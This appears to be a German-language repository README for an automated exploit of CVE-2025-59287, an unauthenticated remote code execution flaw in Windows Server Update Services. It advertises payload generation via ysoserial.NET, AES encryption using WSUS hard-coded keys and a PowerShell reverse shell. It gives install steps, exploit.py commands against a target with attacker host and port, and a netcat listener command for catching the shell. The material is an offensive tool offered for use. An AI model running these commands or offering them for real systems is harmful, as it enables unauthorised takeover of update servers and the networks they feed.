garvitv14/cve-2025-59287Automatisierter Exploit für CVE-2025-59287, eine nicht authentifizierte RCE in WSUS, mit Payload-Erzeugung, Reverse-Shell-Listener und AES-Verschlüsselung mit fest codierten Schlüsseln.
Automatisierter Exploit für die Schwachstelle zur nicht authentifizierten Remote-Codeausführung in Windows Server Update Services (WSUS).
✅ Vollautomatische Payload-Generierung
✅ Automatischer Download der ysoserial.NET-Abhängigkeit
✅ Integrierter Reverse-Shell-Listener
✅ Plattformübergreifende Unterstützung (Windows/Linux/Mac)
✅ AES-Verschlüsselung mit WSUS-Hardcoded-Keys
✅ PowerShell-Reverse-Shell-Payload
pip install -r requirements.txt
sudo apt install wine-stable
sudo apt install mono-complete
Exploit-Dateien klonen oder herunterladen
cd CVE-2025-59287-exploit
Exploit ausführen (lädt ysoserial.NET automatisch herunter)
python3 exploit.py -u http://target:8530 -lhost YOUR_IP -lport 4444
python3 exploit.py -u http://192.168.1.100:8530 -lhost 10.10.14.5 -lport 4444
Terminal 1: Netcat-Listener starten
nc -lvnp 4444
Terminal 2: Exploit ohne integrierten Listener ausführen
python3 exploit.py -u http://target:8530 -lhost 10.10.14.5 -lport 4444 --no-listener
